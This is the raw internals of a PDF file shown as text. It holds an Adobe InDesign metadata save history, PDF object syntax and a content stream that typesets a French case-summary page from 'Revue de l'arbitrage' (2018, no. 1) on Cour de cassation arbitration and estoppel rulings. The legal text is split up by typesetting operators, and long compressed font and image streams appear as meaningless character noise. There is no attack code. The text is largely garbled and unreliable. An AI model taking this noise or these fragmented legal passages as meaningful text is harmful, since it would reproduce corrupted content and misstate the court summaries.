xmp.iid:9281014B152068118A6DC1FA3897EFFD 2016-01-05T10:09:34+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:DBDA757C362068118A6DC1FA3897EFFD 2016-01-05T14:19:19+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:DCDA757C362068118A6DC1FA3897EFFD 2016-01-05T14:19:19+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:3BBB9CD0172068118A6D91F72800EA07 2016-01-06T11:13:12+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:3CBB9CD0172068118A6D91F72800EA07 2016-01-06T11:13:12+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:DC55DADE072068118C1496BF0AD95870 2016-03-11T13:27:50+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:DD55DADE072068118C1496BF0AD95870 2016-03-11T13:27:50+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:45C2B3CD1A2068118C1496BF0AD95870 2016-03-11T14:33:34+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:2EBFEE00332068118A6DAC4D7406BD55 2016-04-11T15:26:30+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:2FBFEE00332068118A6DAC4D7406BD55 2016-04-11T15:26:30+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:EB2257130E2068118A6DD8F70264E693 2016-04-12T12:07:08+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:EC2257130E2068118A6DD8F70264E693 2016-04-12T12:07:08+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:06801174072068118A6DE325DA37DD22 2016-04-12T13:37:27+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:07801174072068118A6DE325DA37DD22 2016-04-12T13:37:27+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:0F6ED8DD152068118A6D9FBFB0A0C56F 2016-05-04T12:13:34+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:106ED8DD152068118A6D9FBFB0A0C56F 2016-05-04T12:13:34+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:C7CBBD1F0B2068118A6DC22E2EC7CB7B 2016-05-09T10:25:46+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:C8CBBD1F0B2068118A6DC22E2EC7CB7B 2016-05-09T10:25:46+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:9D3B581B162068118A6DA0CDAB0D6E7E 2016-05-24T11:51:18+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:9E3B581B162068118A6DA0CDAB0D6E7E 2016-05-24T11:51:18+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:FFC15C1D0A2068118C14E01328EBAFBE 2016-05-25T11:09:29+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:00C25C1D0A2068118C14E01328EBAFBE 2016-05-25T11:09:29+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:AD494E030F2068118A6DE93724D5E855 2016-06-20T09:30:20+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:AE494E030F2068118A6DE93724D5E855 2016-06-20T09:30:20+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:86F9C241242068118C14F609174B78FE 2016-09-16T11:22:04+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:87F9C241242068118C14F609174B78FE 2016-09-16T11:22:04+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:02801174072068118A6DA00C7F44C734 2017-03-03T08:06:20+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:03801174072068118A6DA00C7F44C734 2017-03-03T08:06:20+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:F0F83B24112068118A6DA00C7F44C734 2017-03-03T09:16:32+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F1F83B24112068118A6DA00C7F44C734 2017-03-03T09:16:32+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:F87F1174072068118C14AF44FAAF01C4 2017-06-21T08:18:05+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F97F1174072068118C14AF44FAAF01C4 2017-06-21T08:18:05+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:A3E3FC820B2068118C14AF44FAAF01C4 2017-06-21T09:11:31+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:A4E3FC820B2068118C14AF44FAAF01C4 2017-06-21T09:11:31+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:EBDC85DA0F2068118C14AF44FAAF01C4 2017-06-21T09:23:37+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:ECDC85DA0F2068118C14AF44FAAF01C4 2017-06-21T09:23:37+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:2A0FC39F202068118A6DAF01427EE98D 2017-06-29T11:17:28+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:D62BA4BC222068118A6DAF01427EE98D 2017-06-29T11:17:28+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:9928F637282068118A6DAF01427EE98D 2017-06-29T11:57:23+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:9A28F637282068118A6DAF01427EE98D 2017-06-29T11:57:23+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:EECCAE7D3F2068118A6DC28D9C5FEDCA 2017-07-03T15:11:21+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:EFCCAE7D3F2068118A6DC28D9C5FEDCA 2017-07-03T15:11:21+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:DBB01D870D2068118A6DB5E2036EE5B6 2017-07-10T09:28:42+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:DCB01D870D2068118A6DB5E2036EE5B6 2017-07-10T09:28:42+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:79150041482068118A6D9F6CEF182350 2017-07-11T16:02:44+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:7A150041482068118A6D9F6CEF182350 2017-07-11T16:02:44+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:01801174072068118A6DC29778E0B75A 2017-09-22T08:16:53+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:02801174072068118A6DC29778E0B75A 2017-09-22T08:16:53+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:03801174072068118A6DC29778E0B75A 2017-09-22T08:17:19+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:04801174072068118A6DC29778E0B75A 2017-09-22T08:17:19+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:165B2A0A362068118A6DADC65B0B84FD 2017-10-03T14:12:33+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:175B2A0A362068118A6DADC65B0B84FD 2017-10-03T14:12:33+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:DA333647102068118A6DD1C1A4F161FA 2017-10-04T09:45:11+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:DB333647102068118A6DD1C1A4F161FA 2017-10-04T09:45:11+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:5F52069C2B2068118C14F7A638C7CB47 2017-12-05T13:04:45+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:6052069C2B2068118C14F7A638C7CB47 2017-12-05T13:04:45+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:D0C8DFF9192068118C14F0F6CED0FD37 2018-01-24T11:03:51+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:D1C8DFF9192068118C14F0F6CED0FD37 2018-01-24T11:03:51+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:D4C8DFF9192068118C14F0F6CED0FD37 2018-01-24T11:06:28+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:D5C8DFF9192068118C14F0F6CED0FD37 2018-01-24T11:06:28+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:05801174072068118C14D3A976DF9E34 2018-01-24T13:16:29+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:06801174072068118C14D3A976DF9E34 2018-01-24T13:16:29+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:BBB3856C282068118C14A13A5AECB99B 2018-03-26T14:06:09+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:BCB3856C282068118C14A13A5AECB99B 2018-03-26T14:06:09+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:08801174072068118A6DA1BDA86954E7 2018-05-02T14:37:07+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:09801174072068118A6DA1BDA86954E7 2018-05-02T14:37:07+02:00 Adobe InDesign 7.5 /metadata saved xmp.iid:0A801174072068118A6DA1BDA86954E7 2018-05-02T14:39:48+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:9C9636DF0A2068118A6DA1BDA86954E7 2018-05-02T14:41:47+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:9D9636DF0A2068118A6DA1BDA86954E7 2018-05-02T14:43:55+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:9E9636DF0A2068118A6DA1BDA86954E7 2018-05-02T14:46:31+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:9F9636DF0A2068118A6DA1BDA86954E7 2018-05-02T14:51:35+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:A09636DF0A2068118A6DA1BDA86954E7 2018-05-02T14:57:15+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:A19636DF0A2068118A6DA1BDA86954E7 2018-05-02T14:58:34+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:A29636DF0A2068118A6DA1BDA86954E7 2018-05-02T15:03:33+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:A39636DF0A2068118A6DA1BDA86954E7 2018-05-02T15:06:51+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:A49636DF0A2068118A6DA1BDA86954E7 2018-05-02T15:16:53+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:A59636DF0A2068118A6DA1BDA86954E7 2018-05-02T15:18:28+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:A69636DF0A2068118A6DA1BDA86954E7 2018-05-02T15:57:38+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:BA1C0EA8162068118A6DA1BDA86954E7 2018-05-02T16:06:09+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F77F1174072068118C14C8AD93AD5D9F 2018-05-03T08:46:09+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F87F1174072068118C14C8AD93AD5D9F 2018-05-03T08:50:45+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:01801174072068118C14F505DCACD7F7 2018-05-03T08:56:38+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:02801174072068118C14F505DCACD7F7 2018-05-03T08:57:20+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:03801174072068118C14F505DCACD7F7 2018-05-03T09:00:49+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:04801174072068118C14F505DCACD7F7 2018-05-03T09:02:22+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:05801174072068118C14F505DCACD7F7 2018-05-03T09:03:28+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:06801174072068118C14F505DCACD7F7 2018-05-03T09:04:40+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:0A801174072068118C14F505DCACD7F7 2018-05-03T09:15:22+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:ED0D351D362068118C14DF85692E2C52 2018-05-18T14:08:15+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:EE0D351D362068118C14DF85692E2C52 2018-05-18T14:09:11+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:EF0D351D362068118C14DF85692E2C52 2018-05-18T14:12:50+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:2CCAA4783D2068118C14DF85692E2C52 2018-05-18T15:12:12+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:9F9E8E4E3C2068118A6D80852BFB8D0E 2018-05-23T15:53:12+02:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:197CD80B412068118A6D80852BFB8D0E 2018-05-23T16:01:04+02:00 Adobe InDesign 7.5 /;/metadata xmp.iid:03801174072068118A6DC29778E0B75A xmp.did:FB7F1174072068118A6DDA2DC9D911E7 xmp.did:4467E22FC12068118A6DC2A385CD936B default 4555 application/pdf Adobe PDF Library 9.9 False endstream endobj 11 0 obj <> endobj 3 0 obj <> endobj 13 0 obj <> endobj 14 0 obj <> endobj 20 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 31 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 21 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 33 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 22 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 35 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 23 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 37 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 24 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 39 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 25 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 41 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 26 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 43 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 27 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 45 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 28 0 obj <>/Thumb 47 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 46 0 obj <>stream endstream endobj 47 0 obj <>stream 8;Z]L0`_7S!5bE.$!5.a5!T,K!:VcF"or:iBqP~> endstream endobj 48 0 obj [/Indexed/DeviceRGB 255 49 0 R] endobj 49 0 obj <>stream 8;X]O>EqN@%''O_@%e@?J;%+8(9e>X=MR6S?i^YgA3=].HDXF.R$lIL@"pJ+EP(%0 b]6ajmNZn*!='OQZeQ^Y*,=]?C.B+\Ulg9dhD*"iC[;*=3`oP1[!S^)?1)IZ4dup` E1r!/,*0[*9.aFIR2&b-C#soRZ7Dl%MLY\.?d>Mn 6%Q2oYfNRF$$+ON<+]RUJmC0InDZ4OTs0S!saG>GGKUlQ*Q?45:CI&4J'_2j$XKrcYp0n+Xl_nU*O( l[$6Nn+Z_Nq0]s7hs]`XX1nZ8&94a\~> endstream endobj 44 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 229.6853 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0.075 Tw /Span<>> BDC 6.5 0 0 6.5 51.0236 543.0812 Tm ( )Tj EMC 12.654 0 Td [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj /Span<>> BDC ( )Tj EMC 0 Tw 9 0 0 9 317.7026 543.0812 Tm (301)Tj ET 0 0 0 1 K 0.283 w q 1 0 0 1 162.9926 472.449 cm 0 0 m 56.692 0 l S Q q 1 0 0 1 162.9926 260.9564 cm 0 0 m 56.692 0 l S Q BT /T1_1 1 Tf 0.028 Tw /Span<>> BDC 8 0 0 8 59.5276 518.3295 Tm (A)Tj EMC (rr\352t n\260 216 F-)Tj /Span<>> BDC (P)Tj EMC [(+B)74(,)55( pourvoi n\260 )]TJ /Span<>> BDC (R)Tj EMC ( 16-22.112 \227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 231.9569 521.5295 Tm (me)Tj 8 0 0 8 240.4881 518.3295 Tm ( )Tj /T1_2 1 Tf 0.278 0 Td [(B)25(a)54(tut)]TJ /T1_1 1 Tf 0.028 Tw 2.661 0 Td [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC (.)Tj 0 Tw /Span<>> BDC 6.4 0 0 6.4 296.907 521.5295 Tm ( )Tj EMC /T1_2 1 Tf 8 0 0 8 298.6838 518.3295 Tm [(Ha)18(scher)]TJ /T1_1 1 Tf -0.055 Tc 0.055 Tw (, )Tj 0 Tc 0.264 Tw -30.958 -1.075 Td [(cons)55(.)55( doy)92(.)55( rapp)40(.,)55( )]TJ /Span<>> BDC (M)Tj EMC [(.)55( )]TJ /T1_2 1 Tf 0 Tw (Reynis)Tj /T1_1 1 Tf 0.264 Tw 12.488 0 Td [(,)55( cons)55(.)55( \227 )]TJ /T1_2 1 Tf [(SCP Or)10(tscheid)18(t)37(,)55( SCP Lesourd)37(,)55( )]TJ /T1_1 1 Tf 19.973 0 Td [(av)92(.)55( \227 )]TJ 0.075 Tw /Span<>> BDC -32.462 -1.075 Td (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 8.187 0 Td [(:)55( )]TJ /Span<>> BDC (P)Tj EMC (aris \()Tj /Span<>> BDC (P)Tj EMC (\364le 1 \226 )Tj /Span<>> BDC (C)Tj EMC [(h.)55( 1\),)55( 12 avril 2016 \227 )]TJ /Span<>> BDC (C)Tj EMC (assation.)Tj /Span<>> BDC 22.191 0 Td ( )Tj EMC 0 Tw 4.701 0 Td ( )Tj 0.173 Tw /Span<>> BDC -35.079 -1.075 Td [( )-577( )]TJ EMC 1.07 0 Td [(V)129(.)55( \351galement,)55( en termes identiques)55(,)55( la solution du m\352me jour retenue dans )]TJ 0.075 Tw -1.07 -1.075 Td (l\222arr\352t n\260 217 F-)Tj /Span<>> BDC (D)Tj EMC 7.801 0 Td [(,)55( pourvoi n\260 F 16-22.126.)]TJ /T1_3 1 Tf 0.004 Tc 0.125 Tw -7.801 -5.327 Td ([2018/13] Cour de cassation \(1)Tj -0.006 Tc 0.006 Tw 6.4 0 0 6.4 161.385 444.5135 Tm (re)Tj 0.004 Tc 0.125 Tw 8 0 0 8 167.0651 441.3135 Tm [( Ch.)37( civ)92(.\),)37( 28 f\351vrier 2018,)]TJ /T1_4 1 Tf 0 Tc 0 Tw ( )Tj /T1_0 1 Tf 0.004 Tc 0.125 Tw 12.025 0 Td [(Soci\351t\351 F)55(orst Smart)4( )]TJ 0 Tc 0.075 Tw -26.53 -1.075 Td (Asia Ltd c/ soci\351t\351 Cosfibel)Tj /T1_2 1 Tf 0.912 Tw 0 -1.784 TD [(Cla)37(use compr)6(omissoire.)55( )1(\227 Comp\351tence )1(d)37(u )25(trib)18(un)18(al )25(arbitral.)55( )1(\227 )]TJ 0.507 Tw 2.126 -1.075 Td [(A)18(ction intr)6(od)37(uite dev)74(ant le juge consulaire.)55( \227 Demandeur ne )]TJ 0.317 Tw 0 -1.075 TD [(pour)10(suiv)74(ant p)55(a)18(s l)95(\222inst)25(ance.)55( \227 Radia)54(tion)25(.)55( \227 S)18(aisine de la Chambre )]TJ 0.997 Tw T* [(de )1(commer)6(ce )1(intern)18(a)54(tion)18(ale )1(d\222une )1(demande )1(d\222arbitra)18(ge.)55( )1(\227 )]TJ 0.38 Tw T* [(Non-p)55(aiement des frais de l)95(\222arbitra)18(ge.)55( \227 Retrait de la demande.)55( )]TJ 0.677 Tw T* [(\227 R\351t)25(ablissement de l)95(\222inst)25(ance consulaire p)55(ar l)95(\222a)37(utre p)55(ar)10(tie.)55( )]TJ 1.312 Tw T* [(\227 Ex)30(ception d\222incomp\351tence fond\351e sur la convention )]TJ 1.214 Tw T* [(d\222arbitra)18(ge.)55( \227 Principe de l)95(\222)]TJ ET q 0 0 382.677 595.276 re W n BT /T1_5 1 Tf 0 Tw 6.4 0 0 6.4 210.655 358.2442 Tm [(EST)55(OPPEL)]TJ ET Q BT /T1_2 1 Tf 8 0 0 8 245.8609 358.2442 Tm [(.)55( \227 Compor)10(tement )]TJ 0.075 Tw -22.229 -1.075 Td [(contradictoire.)55( \227 Rejet d)37(u contredit)37(.)]TJ /T1_0 1 Tf 0.121 Tw -1.063 -2.492 Td [(V)55(iole le principe de l\222)]TJ /T1_1 1 Tf 0 Tw (estoppel)Tj /T1_0 1 Tf 0.121 Tw ( la cour d\222appel qui accueille le contredit fond\351 )Tj 0.317 Tw -1.063 -1.075 Td (sur l\222existence d\222une convention d\222arbitrage alors que la parti\ e a adopt\351 un )Tj 0.075 Tw 0 -1.075 TD [(comportement contradictoire)25(.)]TJ /T1_1 1 Tf 0.118 Tw /Span<>> BDC 1.063 -1.784 Td (A)Tj EMC (rr\352t n\260 218 F-)Tj /Span<>> BDC (D)Tj EMC 7.712 0 Td [(,)55( pourvoi n\260 )55(Y 16-27.823 \227 )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 229.2141 301.4369 Tm (me)Tj 8 0 0 8 237.7452 298.2369 Tm ( )Tj /T1_2 1 Tf 0.368 0 Td [(B)25(a)54(tut)]TJ /T1_1 1 Tf 0.118 Tw 2.661 0 Td [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC (.)Tj 0 Tw 6.4 0 0 6.4 296.3296 301.4369 Tm ( )Tj /T1_2 1 Tf 8 0 0 8 298.6838 298.2369 Tm [(Ha)18(scher)]TJ /T1_1 1 Tf -0.055 Tc 0.055 Tw (, )Tj 0 Tc 0.203 Tw -30.958 -1.075 Td [(cons)55(.)55( doy)92(.)55( rapp)40(.,)55( )]TJ /Span<>> BDC (M)Tj EMC [(.)55( )]TJ /T1_2 1 Tf 0 Tw (Reynis)Tj /T1_1 1 Tf 0.203 Tw 12.245 0 Td [(,)55( cons)55(.)55( \227 )]TJ /T1_2 1 Tf (SCP Zribi )Tj /T1_1 1 Tf 0 Tw (et)Tj /T1_2 1 Tf 0.203 Tw [( )55(T)55(exier,)55( SCP Po)10(tier de la )]TJ 0.619 Tw -12.245 -1.075 Td [(V)137(arde,)55( )1(B)25(uk-Lament )]TJ /T1_1 1 Tf 0 Tw 10.382 0 Td (et)Tj /T1_2 1 Tf 0.619 Tw [( )1(R)18(obillo)10(t)37(,)55( )]TJ /T1_1 1 Tf 6.788 0 Td [(av)92(.)55( )1(\227 )]TJ /Span<>> BDC 3.84 0 Td (D)Tj EMC [(\351cision )1(attaqu\351e)]TJ /Span<>> BDC ( )Tj EMC 8.73 0 Td [(:)55( )55(V)90(ersailles)55(,)55( )]TJ 0.075 Tw -29.741 -1.075 Td (29)Tj /Span<>> BDC ( )Tj EMC (novembre 2016 \227 )Tj /Span<>> BDC (C)Tj EMC [(assation.)55( )]TJ ET endstream endobj 45 0 obj <>stream 8;Z\65n:dT%-'(tr;X7e4"H=YBuseIg.mnelW.*oNap_c(;9oJY[><;K+uN:>4Wg( D/8M4nH$UA[AFhS4(`GZ2HDP$k6dM#$,3F:<3F,7U7S6hQ-[\CJnm3DnIXJ!e?dLZ N=gQN8Ykf9>H`t@UC#bmk4NjtcBFNbl0n;"V\?5T>bK/E?,fquju&bY<5kup3f%oT Z`U#/o!nH1]dM3OY8]W"c"5Firbm=O:p_@+`dS7j*N\iQ.\(euFN^>uKa;OrCLV^i ZG3Y/XV\CPTs>I1B2os8FtnC-L`oq+ERq(\9Q86DCZU/RT5jh_dURu0@S_q?%MV=L r(Oa9Im1ge()@\B!WVgYr;V"%4p(e2$u=A~> endstream endobj 5 0 obj <> endobj 6 0 obj <> endobj 8 0 obj <> endobj 7 0 obj <> endobj 9 0 obj <> endobj 10 0 obj <> endobj 60 0 obj <> endobj 61 0 obj <>stream HdNV{—S,!}A}&1S\?m 6ߧN}zz>On,_Wf3w֟zu{;]~~1_OW׿ui~v<,fD??y|Y㏏2m ~y;>ru{snj9󾹹/OOڟ9!ol<4<2:6#ofofofofo俹9! ylVّ'{@ʑL9)grV.\ɫr''[V~o[-~+o[V~o[-~+ow;N~;~'ww;N~; w{^~G=({^~{=~/?A?_tGܹw' 4 j 4 jh,,YYP@ffA°2fA͂ae2fQ"͢ae2?GQ?G#(?G7uÝuk5ͼnwlye6uS}uzٮ~N6]߬gv7Cot_-Ydu7Zz7|Zz?_ns'˙O$31?I&'霉I%'i~t4?Ib~Ib~̉I$M'Cb~O?˟g3,Ɵ?gY?˟g3,Ɵ?gY_ "_/_? w2}#++*V(VTPXXQBbbE Ŋ*V)VURXXUJbbU*ŪUU-L_W?R_o7M7&o o7M7&o w]w;.w]w;.ǿ;.yL/OAgݷز>*+zRy>,ߟ|`&B endstream endobj 62 0 obj <>stream HTiPSY& KIX\dP=Q\F#*(Kİ,d-6aa [Dh)VqCQ˙±rKwͣ~uWwu94 E4mP- E9kbYΝdHgc6Fc0f̃c ]v9,1\L~T[ 0,7 EIRD=jB-JdYBEgev/x"HOr^2O!KNe'2y#8qD"/9'_")$3bhpTdmͨmQpS즌Mky.3??OMTpUp[X\0-x+ 8ŝpwX|R\?fa vA"$䄆8ATDG #-xE!1'rw 4p9|Afczi嬮7!WpWg! S^_jɔJMR3A6*8d՗b FP@ScvCuY 8#Y+5,3J @O$v  %( $[T?B[& ?*i{'ðR/DavU*]%w <<.DZ SNp^/ ߭(sCظPǷ2^Lk7s1ED(3G4Ǫ4ḗs೘֌o\ P)()ua _Yp5α cΩ \躼4v頹Cɽs)%[x9`vݮmGuw~G<0}??= \"adnW`*=}6OD 0^iq 27KړB,Fs[T˩7ׯT=?$B1;%n43oo7Yudx=YtߒMG OVO~5~'DWʼrNPܹ`ѿn:x%{f%.#T!1.dUfYy$ UNnNSIsi )]aNIϹd BOȀ ކ>Cr!@Y@)\GPX  `?o9PtW,DYP !)3?RN$ 10T u3k{cX^Y-/ꭸyE"kVh;tzC}֨֫+ʏd鳪WY*oѷZCqB.Vkʏ˕jibՍƞ3f]e,jU*TJZ9(ڛhRƢ*uZ(Vi[Oie̲ldEZ.Sy:*nj0.w[fq4JQFQЏAUPA(PQ4 e`m.سӬ KMM TdٕaAEPN 3 5igBκ3ʹ|f2&vWF-+.?r}4^e.II6:p+zg L$6fą/ٓ mx5ufq3^Rj5[VZEku| R(bUP"IJ !A%%>EJK]ED2Tw=_dg;u̝/;9o¬cKH 5!e0; G\v;W4G3t 2䍜= wreY.Bķ]e&E™5lR^ǎyцBSH-R !v 10e !~\^^ӑZ a&tG͠Zi$wd6Q;1KȀƃ;LߟR+ 79 u'G ؗ_E!>L $H\e9|d[6sԑ=l0SDKu.}չy0Je,C=+OITdf+QpGe#nގN6ktTzo{9I(NbOx]CQJƈvZ!WQ} RҦ]^>IastSwZYAKE;8FmB,I_l'`8t`HXwV؇ [âp@h >afMBo~TX2:TY9JΧ3Vkg ǴZ篰cU 6qռ=` /_,Ω\s].[m5#/aMnFHb:s\3D,rz:59. S0bM0a,EWCY<,cZR|MeڎelK#l؄ymP/̀" 8YhX().>sn㢽׉2 )ՊR%$y_yI.owWܾ+7-G',8oE*9]vfрLZR$?$,K0tI>Zt/Řq|ZVU(/6U(L]*| 3AqR , *Z6C,tgIjNReEM MT2_=9.+ԁDYT5$*4ڴj%-L25d^NoXX-7t Fr\^xn~X)%|l?PR1̔@ߨXi\Wب0J &%$i,-i8`b&\H%o&JU&``4f R;ټ tX%3:Vv==gɹqމ=g۳29wR0\χ0f!_#,GPx6COpĊ4°D!Lv5遳~&rϿP/ [كf? 3S{}Ԕ ʗO&33K HEknoty ӽ!D5 .<xjWOͧΰgvjTgbq/:LoL\F& ytE6tTrT6^D4p)\TUqb3 4KKu C)&o _YvaPAF=?f&Gu%kjyS,P 㿍쌼G^8{yGn]ۂƈdu}9mwE_,X=UGTê!- \o , v 7z,R7X S7d:Gwڈj -"Ț m(0 U^B)XagMN's`m̓&)[lK6Em88:+x&4nLq_cFg390`25Kӿnh՜C`#lD_gCu2?netfzOqu+EMv"C(y }y9s:'"OKԄEa+ d7)F_ zG >}EB2͎HOmJgmő0IǏerqهaۛwaX8qQw3!>^7qr%U0Ғ<!jJYϢوB(xI<> l=\a*23nNe#֧yҒ 0湄i`we5߃ O!lP͝lcj4b: EԫGKKʊKya bn]f@*Ql.*e,%:A197Rgkww1:cAa& U\xg5\X>k'L7-q1ؕɭK-i}Ng|N(YzݽޱM4 MGAC/^?ωS>λ~zqNF?{jR *d4'ʄ(Y̦jS9O`p(*JTS88.-GDW.a }$m$(&3;}8uP&tu[WWNs- 6^ye4ftϟ_v[Oiauoш|m& iH%]/ l_"Slʬ6FmMWғ2<߄h0]ZAN/I@dsYlVY5y|.;,__gw"ǠhT7 k lh=%F 5 IutƙfJ31+&^Vyn G}B4O[w T?Oy%Phk;2Gk*AI29;i7okO]g?<_,‚j)VFףXSz?vvuv:/~o>NtbwoG^ o w!>懻Utzem䣧Oڄ9 3q8.G>uSxHkuD*ݤew"*ОyNJ SJji\v +mhELbyɻr +0l/!JV+p@Po@:c,+ =JW!x(䓀'h}?0M+ sVG i=>|R3Q3#Bt|Цty^뽛oC{(|N&{iW@sshUS@:{ѪmRCFBubj/&m l%opXk팠@&4:|nŊ,&jdrP=  wSsS+15n\ք4^87v,%n"ϝ8餥vLRyc^&1󙻗4#kKeX[/gdi6VFLgG= sශrHTK]6>jiXM+?!XNuf*t\8}BqG~ƣpxS_J؁]GyqV+M.zٰ8X9{~cZAW-سzVIp-_ܺW )L#0Lr 1ߺ}`#)p%\p?bl`wk.9AqS\2c_[¹ɢ[$'&碊V2Y@`&]X=Dcbif*5Ÿ́hI0ڵTY+:J#&мnrʶaqgpfŽ }F#ٹþ9*K%.u͑7_KB 